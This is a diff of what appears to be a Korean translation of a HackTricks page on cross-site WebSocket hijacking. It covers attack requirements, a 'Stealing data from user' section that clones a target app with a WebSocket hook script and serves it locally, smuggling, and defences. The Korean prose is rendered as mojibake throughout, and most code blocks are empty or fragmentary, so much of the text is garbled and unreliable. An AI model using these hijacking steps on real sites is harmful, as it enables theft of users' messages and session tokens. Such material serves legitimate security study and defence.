์ ์ผ๋ถ๋ก ๊ฐ์ฃผ๋๋ฉฐ, ์ธ์
์ฒ๋ฆฌ ๋ฉ์ปค๋์ฆ์์ CSRF ๋ณดํธ๊ฐ ๋ถ์กฑํ ์ ์ ์
์ฉํฉ๋๋ค.
+๊ณต๊ฒฉ์๋ ์ทจ์ฝํ ์ ํ๋ฆฌ์ผ์ด์
์ผ๋ก cross-site WebSocket ์ฐ๊ฒฐ์ ์๋ํ๋ **malicious web page**๋ฅผ ํธ์คํ
ํ์ฌ ์ด๋ฅผ ์
์ฉํ ์ ์์ต๋๋ค. ๊ฒฐ๊ณผ์ ์ผ๋ก ์ด ์ฐ๊ฒฐ์ ์ ํ๋ฆฌ์ผ์ด์
์์ ํผํด์ ์ธ์
์ ์ผ๋ถ๋ก ์ทจ๊ธ๋์ด ์ธ์
์ฒ๋ฆฌ ๋ฉ์ปค๋์ฆ์์ CSRF ๋ณดํธ๊ฐ ์๋ ์ ์ ์
์ฉํ๊ฒ ๋ฉ๋๋ค.
-์ด ๊ณต๊ฒฉ์ด ์๋ํ๊ธฐ ์ํด์๋ ๋ค์๊ณผ ๊ฐ์ ์๊ตฌ ์ฌํญ์ด ์์ต๋๋ค:
+In order for this attack to work, these are the requirements:
-- ์น์์ผ **์ธ์ฆ์ ์ฟ ํค ๊ธฐ๋ฐ์ด์ด์ผ ํฉ๋๋ค.**
-- ์ฟ ํค๋ ๊ณต๊ฒฉ์์ ์๋ฒ์์ ์ ๊ทผ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค (์ด๋ ์ผ๋ฐ์ ์ผ๋ก **`SameSite=None`**์ ์๋ฏธํ๋ฉฐ, Firefox์์ **Firefox Total Cookie Protection**์ด ํ์ฑํ๋์ง ์์์ผ ํ๊ณ Chrome์์ **์ฐจ๋จ๋ ์ 3์ ์ฟ ํค**๊ฐ ์์ด์ผ ํฉ๋๋ค).
-- ์น์์ผ ์๋ฒ๋ ์ฐ๊ฒฐ์ ์ถ์ฒ๋ฅผ ํ์ธํ์ง ์์์ผ ํฉ๋๋ค (๋๋ ์ด๋ฅผ ์ฐํํ ์ ์์ด์ผ ํฉ๋๋ค).
+- websocket ์ธ์ฆ์ **cookie ๊ธฐ๋ฐ**์ด์ด์ผ ํฉ๋๋ค.
+- cookie๋ ๊ณต๊ฒฉ์์ ์๋ฒ์์ ์ ๊ทผ ๊ฐ๋ฅํด์ผ ํฉ๋๋ค(์ผ๋ฐ์ ์ผ๋ก **`SameSite=None`**์ ์๋ฏธ). ๋ํ Firefox์์ **Firefox Total Cookie Protection**์ด ํ์ฑํ๋์ด ์์ง ์๊ณ Chrome์์ **blocked third-party cookies**๊ฐ ์ฐจ๋จ๋์ด ์์ง ์์์ผ ํฉ๋๋ค.
+- websocket ์๋ฒ๊ฐ ์ฐ๊ฒฐ์ origin์ ๊ฒ์ฌํ์ง ์๊ฑฐ๋(๋๋ ์ด๋ฅผ ์ฐํํ ์ ์์ด์ผ ํจ).
-๋ํ:
+Also:
-- ์ธ์ฆ์ด ๋ก์ปฌ ์ฐ๊ฒฐ(๋ก์ปฌํธ์คํธ ๋๋ ๋ก์ปฌ ๋คํธ์ํฌ)์ ๊ธฐ๋ฐํ๋ ๊ฒฝ์ฐ ๊ณต๊ฒฉ์ด **๊ฐ๋ฅํฉ๋๋ค**. ํ์ฌ ๋ณดํธ ์กฐ์น๊ฐ ์ด๋ฅผ ๊ธ์งํ์ง ์๊ธฐ ๋๋ฌธ์
๋๋ค (์์ธํ ์ ๋ณด๋ [์ฌ๊ธฐ](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)์์ ํ์ธํ์ธ์).
+- If the authentication is based on a local connection (to localhost or to a local network) the attack **will be possible** as no current protection forbids it (check [more info here](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/))
### Simple Attack
-์น์์ผ ์ฐ๊ฒฐ์ **์ค์ ํ ๋** **์ฟ ํค**๊ฐ **์๋ฒ**๋ก **์ ์ก**๋๋ค๋ ์ ์ ์ ์ํ์ธ์. **์๋ฒ**๋ ์ด๋ฅผ ์ฌ์ฉํ์ฌ ๊ฐ **ํน์ ** **์ฌ์ฉ์**์ ๊ทธ์ **์น์์ผ** **์ธ์
์ ์ ์ก๋ ์ฟ ํค๋ฅผ ๊ธฐ๋ฐ์ผ๋ก** **์ฐ๊ด**์ํฌ ์ ์์ต๋๋ค.
+์ฐธ๊ณ ๋ก **websocket** ์ฐ๊ฒฐ์ ์ค์ ํ ๋ **cookie**๊ฐ ์๋ฒ๋ก ์ ์ก๋ฉ๋๋ค. ์๋ฒ๋ ์ ์ก๋ cookie๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ๊ฐ ํน์ ์ฌ์ฉ์์ **websocket session**์ ์ฐ๊ด์ํฌ ์ ์์ต๋๋ค.
-๊ทธ๋ฐ ๋ค์, ์๋ฅผ ๋ค์ด **์น์์ผ** **์๋ฒ**๊ฐ ์ฌ์ฉ์์ ๋ํ **ํ์คํ ๋ฆฌ**๋ฅผ **์ ์ก**ํ๋ ๊ฒฝ์ฐ, "**READY**"๋ผ๋ ๋ฉ์์ง๊ฐ ์ ์ก๋๋ฉด, **๊ฐ๋จํ XSS**๊ฐ ์ฐ๊ฒฐ์ ์ค์ ํ๊ณ (์ด๋ **์ฟ ํค**๊ฐ ํผํด์ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ๊ธฐ ์ํด **์๋์ผ๋ก ์ ์ก**๋จ) "**READY**"๋ฅผ ์ ์กํ๋ฉด ๋ํ์ **ํ์คํ ๋ฆฌ**๋ฅผ **๊ฐ์ ธ์ฌ ์ ์์ต๋๋ค**.
+์๋ฅผ ๋ค์ด websocket ์๋ฒ๊ฐ "READY"๋ผ๋ msg๊ฐ ์ ์ก๋๋ฉด ์ฌ์ฉ์ ๋ํ ๊ธฐ๋ก์ ๋ฐํํ๋ ๊ฒฝ์ฐ, ์ฐ๊ฒฐ์ ์๋ฆฝํ๋ ๊ฐ๋จํ XSS(์ฟ ํค๊ฐ ํผํด์ ์ฌ์ฉ์๋ฅผ ์ธ์ฆํ๊ธฐ ์ํด ์๋์ผ๋ก ์ ์ก๋จ)๊ฐ "READY"๋ฅผ ์ ์กํ๋ฉด ๋ํ ๊ธฐ๋ก์ ์กฐํํ ์ ์์ต๋๋ค.:
```html
```
-### Cross Origin + Cookie with a different subdomain
+### ๋ค๋ฅธ subdomain์์์ Cross Origin + Cookie
-์ด ๋ธ๋ก๊ทธ ๊ฒ์๋ฌผ [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)์์ ๊ณต๊ฒฉ์๋ **์น ์์ผ ํต์ ์ด ๋ฐ์ํ๋ ๋๋ฉ์ธ์ ์๋ธ๋๋ฉ์ธ์์ ์์์ Javascript๋ฅผ ์คํ**ํ๋ ๋ฐ ์ฑ๊ณตํ์ต๋๋ค. **์๋ธ๋๋ฉ์ธ**์ด์๊ธฐ ๋๋ฌธ์ **์ฟ ํค**๊ฐ **์ ์ก**๋์๊ณ , **์น์์ผ์ด Origin์ ์ ๋๋ก ํ์ธํ์ง ์์๊ธฐ ๋๋ฌธ์**, ์ด๋ฅผ ํตํด ํต์ ํ๊ณ **ํ ํฐ์ ํ์น๋** ๊ฒ์ด ๊ฐ๋ฅํ์ต๋๋ค.
+In this blog post [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/)์์๋ ๊ณต๊ฒฉ์๊ฐ ์น์์ผ ํต์ ์ด ๋ฐ์ํ๋ ๋๋ฉ์ธ์ **execute arbitrary Javascript in a subdomain**์ ์ฑ๊ณตํ์ต๋๋ค. ํด๋น ๋๋ฉ์ธ์ด **subdomain**์๊ธฐ ๋๋ฌธ์ **cookie**๊ฐ **sent**๋์๊ณ , **Websocket didn't check the Origin properly** ๋๋ฌธ์ ํต์ ์ด ๊ฐ๋ฅํด **steal tokens from it**ํ ์ ์์์ต๋๋ค.
-### Stealing data from user
+### ์ฌ์ฉ์๋ก๋ถํฐ ๋ฐ์ดํฐ ํ์น๊ธฐ
-๋น์ ์ด ๊ฐ์ฅํ๊ณ ์ถ์ ์น ์ ํ๋ฆฌ์ผ์ด์
์ ๋ณต์ฌํ์ธ์ (์: .html ํ์ผ) ๊ทธ๋ฆฌ๊ณ ์น์์ผ ํต์ ์ด ๋ฐ์ํ๋ ์คํฌ๋ฆฝํธ ์์ ์ด ์ฝ๋๋ฅผ ์ถ๊ฐํ์ธ์:
+์ฌ์นญํ๋ ค๋ ์น ์ ํ๋ฆฌ์ผ์ด์
(์: .html ํ์ผ)์ ๋ณต์ฌํ ๋ค์, websocket ํต์ ์ด ๋ฐ์ํ๋ ์คํฌ๋ฆฝํธ ๋ด๋ถ์ ๋ค์ ์ฝ๋๋ฅผ ์ถ๊ฐํ์ธ์:
```javascript
//This is the script tag to load the websocket hooker
;
@@ -148,42 +264,50 @@ xhttp.send()
return messageEvent
}
```
-์ด์ `wsHook.js` ํ์ผ์ [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)์์ ๋ค์ด๋ก๋ํ๊ณ **์น ํ์ผ์ด ์๋ ํด๋์ ์ ์ฅํ์ธ์**.\
-์น ์ ํ๋ฆฌ์ผ์ด์
์ ๋
ธ์ถ์ํค๊ณ ์ฌ์ฉ์๊ฐ ์ฐ๊ฒฐํ๊ฒ ํ๋ฉด websocket์ ํตํด ์ ์ก๋ ๋ฉ์์ง์ ์์ ๋ ๋ฉ์์ง๋ฅผ ํ์น ์ ์์ต๋๋ค:
+์ด์ [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook)์์ `wsHook.js` ํ์ผ์ ๋ค์ด๋ก๋ํ๊ณ **์น ํ์ผ์ด ์๋ ํด๋ ์์ ์ ์ฅํ์ธ์**.\
+์น ์ ํ๋ฆฌ์ผ์ด์
์ ๋
ธ์ถ์ํค๊ณ ์ฌ์ฉ์๊ฐ ์ ์ํ๊ฒ ํ๋ฉด websocket์ ํตํด ์ก์์ ๋ ๋ฉ์์ง๋ฅผ ํ์น ์ ์์ต๋๋ค:
```javascript
sudo python3 -m http.server 80
```
### CSWSH ๋ณดํธ
-CSWSH ๊ณต๊ฒฉ์ **์ฌ์ฉ์๊ฐ ์
์ฑ ํ์ด์ง์ ์ฐ๊ฒฐ**ํ์ฌ **์น์์ผ ์ฐ๊ฒฐ์ ์ด**๊ณ ์ฌ์ฉ์๊ฐ ์ด๋ฏธ ์ฐ๊ฒฐ๋ ์น ํ์ด์ง์ ์ธ์ฆํ๋ ์ฌ์ค์ ๊ธฐ๋ฐํฉ๋๋ค. ์์ฒญ์ ์ฌ์ฉ์์ ์ฟ ํค๋ฅผ ์ ์กํฉ๋๋ค.
+CSWSH ๊ณต๊ฒฉ์ **์ฌ์ฉ์๊ฐ ์
์ฑ ํ์ด์ง์ ์ ์**ํ๊ณ ๊ทธ ํ์ด์ง๊ฐ ์ฌ์ฉ์๊ฐ ์ด๋ฏธ ์ ์ํ ์นํ์ด์ง์ **websocket ์ฐ๊ฒฐ์ ์ด์ด** ์์ฒญ์ ์ฌ์ฉ์์ cookies๊ฐ ํฌํจ๋์ด ์ฌ์ฉ์์ธ ๊ฒ์ฒ๋ผ ์ธ์ฆ๋๊ฒ ํ๋ค๋ ์ ์ ๊ธฐ๋ฐํฉ๋๋ค.
-ํ์ฌ ์ด ๋ฌธ์ ๋ฅผ ๋ฐฉ์งํ๋ ๊ฒ์ ๋งค์ฐ ์ฝ์ต๋๋ค:
+์์ฆ์๋ ์ด ๋ฌธ์ ๋ฅผ ๋ฐฉ์งํ๊ธฐ๊ฐ ๋งค์ฐ ์ฝ์ต๋๋ค:
-- **์น์์ผ ์๋ฒ์ ์ถ์ฒ ํ์ธ**: ์น์์ผ ์๋ฒ๋ ํญ์ ์ฌ์ฉ์๊ฐ ์ด๋์์ ์ฐ๊ฒฐํ๊ณ ์๋์ง ํ์ธํ์ฌ ์๊ธฐ์น ์์ ํ์ด์ง๊ฐ ์ฐ๊ฒฐ๋๋ ๊ฒ์ ๋ฐฉ์งํด์ผ ํฉ๋๋ค.
-- **์ธ์ฆ ํ ํฐ**: ์ธ์ฆ์ ์ฟ ํค์ ๊ธฐ๋ฐํ๊ธฐ๋ณด๋ค๋, ์น์์ผ ์ฐ๊ฒฐ์ ๊ณต๊ฒฉ์์๊ฒ ์๋ ค์ง์ง ์์ ์ฌ์ฉ์์ ๋ํด ์๋ฒ์์ ์์ฑ๋ ํ ํฐ์ ๊ธฐ๋ฐํ ์ ์์ต๋๋ค (์: anti-CSRF ํ ํฐ).
-- **SameSite ์ฟ ํค ์์ฑ**: `SameSite` ๊ฐ์ด `Lax` ๋๋ `Strict`์ธ ์ฟ ํค๋ ์ธ๋ถ ๊ณต๊ฒฉ์์ ํ์ด์ง์์ ํผํด์ ์๋ฒ๋ก ์ ์ก๋์ง ์์ผ๋ฏ๋ก, ์ฟ ํค ๊ธฐ๋ฐ ์ธ์ฆ์ด ์ฑ๊ณตํ์ง ์์ต๋๋ค. Chrome์ ์ด์ ์ด ํ๋๊ทธ๊ฐ ์ง์ ๋์ง ์์ ์ฟ ํค์ **`Lax`** ๊ฐ์ ๊ธฐ๋ณธ์ ์ผ๋ก ์ค์ ํ์ฌ ๋ ์์ ํ๊ฒ ๋ง๋ญ๋๋ค. ๊ทธ๋ฌ๋ ์ฟ ํค๊ฐ ์์ฑ๋ ์ฒซ 2๋ถ ๋์์ **`None`** ๊ฐ์ ๊ฐ์ง๋ฏ๋ก ๊ทธ ์ ํ๋ ์๊ฐ ๋์ ์ทจ์ฝํฉ๋๋ค (์ด ์กฐ์น๊ฐ ์ธ์ ๊ฐ๋ ์ ๊ฑฐ๋ ๊ฒ์ผ๋ก ์์๋ฉ๋๋ค).
-- **Firefox ์ ์ฒด ์ฟ ํค ๋ณดํธ**: ์ ์ฒด ์ฟ ํค ๋ณดํธ๋ ์ฟ ํค๋ฅผ ์์ฑ๋ ์ฌ์ดํธ์ ๊ฒฉ๋ฆฌํ์ฌ ์๋ํฉ๋๋ค. ๋ณธ์ง์ ์ผ๋ก ๊ฐ ์ฌ์ดํธ๋ ์ 3์๊ฐ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ง ๊ธฐ๋ก์ ์ฐ๊ฒฐํ์ง ๋ชปํ๋๋ก ์์ฒด ์ฟ ํค ์ ์ฅ์ ํํฐ์
์ ๊ฐ์ง๋๋ค. ์ด๋ **CSWSH๋ฅผ ์ฌ์ฉํ ์ ์๊ฒ** ๋ง๋ญ๋๋ค. ๊ณต๊ฒฉ์์ ์ฌ์ดํธ๋ ์ฟ ํค์ ์ ๊ทผํ ์ ์์ต๋๋ค.
-- **Chrome ์ 3์ ์ฟ ํค ์ฐจ๋จ**: ์ด๋ `SameSite=None`์ผ์ง๋ผ๋ ์ธ์ฆ๋ ์ฌ์ฉ์์ ์ฟ ํค๊ฐ ์น์์ผ ์๋ฒ๋ก ์ ์ก๋๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
+- **Websocket server checking the origin**: websocket ์๋ฒ๋ ํญ์ ์ฐ๊ฒฐํ๋ ์ถ์ฒ(origin)๋ฅผ ํ์ธํ์ฌ ์์์น ๋ชปํ ํ์ด์ง๊ฐ ์ฐ๊ฒฐ๋๋ ๊ฒ์ ๋ฐฉ์งํด์ผ ํฉ๋๋ค.
+- **Authentication token**: ์ธ์ฆ์ cookie์ ๊ธฐ๋ฐํ์ง ์๊ณ , websocket ์ฐ๊ฒฐ์ ์๋ฒ๊ฐ ์ฌ์ฉ์์ฉ์ผ๋ก ์์ฑํ๊ณ ๊ณต๊ฒฉ์๊ฐ ๋ชจ๋ฅด๋ token(์: anti-CSRF token)์ ๊ธฐ๋ฐํ๋๋ก ํ ์ ์์ต๋๋ค.
+- **SameSite Cookie attribute**: `SameSite` ๊ฐ์ด `Lax` ๋๋ `Strict`์ธ cookies๋ ์ธ๋ถ ๊ณต๊ฒฉ์ ํ์ด์ง์์ ํผํด ์๋ฒ๋ก ์ ์ก๋์ง ์์ผ๋ฏ๋ก cookie ๊ธฐ๋ฐ ์ธ์ฆ์ ์ฑ๊ณตํ์ง ์์ต๋๋ค. Chrome์ ์ด์ ์ด ํ๋๊ทธ๊ฐ ์ง์ ๋์ง ์์ ์ฟ ํค์ ๊ธฐ๋ณธ์ ์ผ๋ก **`Lax`** ๊ฐ์ ์ค์ ํ์ฌ ๊ธฐ๋ณธ์ ์ผ๋ก ๋ ์์ ํ๊ฒ ๋ง๋ญ๋๋ค. ๋ค๋ง ์ฟ ํค๊ฐ ์์ฑ๋ ์ฒ์ 2๋ถ ๋์์ ๊ฐ์ด **`None`**์ด ๋์ด ๊ทธ ์ ํ๋ ๊ธฐ๊ฐ ๋์ ์ทจ์ฝํด์ง๋ฉฐ(๋ํ ์ด ์กฐ์น๊ฐ ์ธ์ ๊ฐ ์ ๊ฑฐ๋ ๊ฒ์ผ๋ก ์์๋ฉ๋๋ค).
+- **Firefox Total Cookie Protection**: Total Cookie Protection์ ์ฟ ํค๋ฅผ ์์ฑ๋ ์ฌ์ดํธ์ ๊ฒฉ๋ฆฌ์์ผ ๋์ํฉ๋๋ค. ๋ณธ์ง์ ์ผ๋ก ๊ฐ ์ฌ์ดํธ๋ ์ 3์๊ฐ ์ฌ์ฉ์์ ๋ธ๋ผ์ฐ์ง ๊ธฐ๋ก์ ์ฐ๊ฒฐํ์ง ๋ชปํ๋๋ก ์์ฒด cookie ์ ์ฅ ํํฐ์
์ ๊ฐ์ง๊ฒ ๋ฉ๋๋ค. ์ด๋ก ์ธํด ๊ณต๊ฒฉ์ ์ฌ์ดํธ๋ cookies์ ์ ๊ทผํ ์ ์์ด **CSWSH ์ฌ์ฉ์ด ๋ถ๊ฐ๋ฅํด์ง๋๋ค**.
+- **Chrome third-party cookies block**: Chrome์ third-party cookies ์ฐจ๋จ์ `SameSite=None`์ธ ๊ฒฝ์ฐ์๋ ์ธ์ฆ๋ ์ฌ์ฉ์์ cookie๊ฐ websocket ์๋ฒ๋ก ์ ์ก๋๋ ๊ฒ์ ๋ฐฉ์งํ ์ ์์ต๋๋ค.
-## ๊ฒฝ์ ์กฐ๊ฑด
+## Race Conditions
-์น์์ผ์ ๊ฒฝ์ ์กฐ๊ฑด๋ ์กด์ฌํฉ๋๋ค, [์์ธํ ์ ๋ณด๋ฅผ ํ์ธํ์ธ์](race-condition.md#rc-in-websockets).
+WebSockets์์์ Race Conditions๋ ์กด์ฌํฉ๋๋ค. ์์ธํ ๋ด์ฉ์ [์ฌ๊ธฐ](race-condition.md#rc-in-websockets)๋ฅผ ํ์ธํ์ธ์.
## ๊ธฐํ ์ทจ์ฝ์
-์น์์ผ์ **์๋ฒ ์ธก๊ณผ ํด๋ผ์ด์ธํธ ์ธก์ ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ๋ฉ์ปค๋์ฆ**์ด๋ฏ๋ก, ์๋ฒ์ ํด๋ผ์ด์ธํธ๊ฐ ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ๋ฐ๋ผ **์น์์ผ์ XSS, SQLi ๋๋ ์น์์ ์ผ๋ฐ์ ์ผ๋ก ๋ฐ์ํ๋ ๋ค๋ฅธ ์ทจ์ฝ์ ์ ์
์ฉํ๋ ๋ฐ ์ฌ์ฉ๋ ์ ์์ต๋๋ค.**
+Web Sockets๋ ์๋ฒ์ ํด๋ผ์ด์ธํธ ์์ชฝ์ผ๋ก ๋ฐ์ดํฐ๋ฅผ ์ ์กํ๋ ๋ฉ์ปค๋์ฆ์ด๋ฏ๋ก, ์๋ฒยทํด๋ผ์ด์ธํธ๊ฐ ์ ๋ณด๋ฅผ ์ฒ๋ฆฌํ๋ ๋ฐฉ์์ ๋ฐ๋ผ **Web Sockets๋ฅผ ํตํด websocket์ผ๋ก๋ถํฐ ์ ๋ฌ๋๋ ์ฌ์ฉ์ ์
๋ ฅ์ ์ด์ฉํด XSS, SQLi ๋ฑ ๊ธฐํ ์ผ๋ฐ์ ์ธ ์น ์ทจ์ฝ์ ์ ์
์ฉํ ์ ์์ต๋๋ค.**
-## **์น์์ผ ์ค๋จธ๊ธ๋ง**
+## **WebSocket Smuggling**
-์ด ์ทจ์ฝ์ ์ **์ญ๋ฐฉํฅ ํ๋ก์ ์ ํ์ ์ฐํ**ํ ์ ์๊ฒ ํด์ฃผ๋ฉฐ, **์น์์ผ ํต์ ์ด ์ค์ ๋์๋ค๊ณ ๋ฏฟ๊ฒ ๋ง๋ค ์ ์์ต๋๋ค** (์ฌ์ค์ด ์๋์ง๋ผ๋). ์ด๋ ๊ณต๊ฒฉ์๊ฐ **์จ๊ฒจ์ง ์๋ํฌ์ธํธ์ ์ ๊ทผ**ํ ์ ์๊ฒ ํด์ค๋๋ค. ๋ ๋ง์ ์ ๋ณด๋ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
+์ด ์ทจ์ฝ์ ์ **reverse proxies ์ ํ์ ์ฐํ**ํ๋๋ก ๋ง๋ค์ด (์ค์ ๋ก ๊ทธ๋ ์ง ์๋๋ผ๋) **websocket ํต์ ์ด ์ฑ๋ฆฝ๋ ๊ฒ์ผ๋ก ๋ฏฟ๊ฒ ํ ์ ์์ต๋๋ค.** ์ด๋ ๊ณต๊ฒฉ์๊ฐ **์จ๊ฒจ์ง ์๋ํฌ์ธํธ์ ์ ๊ทผ**ํ ์ ์๊ฒ ํ ์ ์์ต๋๋ค. ์์ธํ ๋ด์ฉ์ ๋ค์ ํ์ด์ง๋ฅผ ํ์ธํ์ธ์:
{{#ref}}
h2c-smuggling.md
{{#endref}}
-## ์ฐธ๊ณ ๋ฌธํ
+## References
- [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
- [https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/](https://blog.includesecurity.com/2025/04/cross-site-websocket-hijacking-exploitation-in-2025/)
+- [WebSocket Turbo Intruder: Unearthing the WebSocket Goldmine](https://portswigger.net/research/websocket-turbo-intruder-unearthing-the-websocket-goldmine)
+- [WebSocket Turbo Intruder โ BApp Store](https://portswigger.net/bappstore/ba292c5982ea426c95c9d7325d9a1066)
+- [WebSocketTurboIntruder โ GitHub](https://github.com/d0ge/WebSocketTurboIntruder)
+- [Turbo Intruder background](https://portswigger.net/research/turbo-intruder-embracing-the-billion-request-attack)
+- [Server-side prototype pollution โ safe detection methods](https://portswigger.net/research/server-side-prototype-pollution#safe-detection-methods-for-manual-testers)
+- [WS RaceCondition PoC (Java)](https://github.com/redrays-io/WS_RaceCondition_PoC)
+- [RaceConditionExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/RaceConditionExample.py)
+- [PingOfDeathExample.py](https://github.com/d0ge/WebSocketTurboIntruder/blob/main/src/main/resources/examples/PingOfDeathExample.py)
{{#include ../banners/hacktricks-training.md}}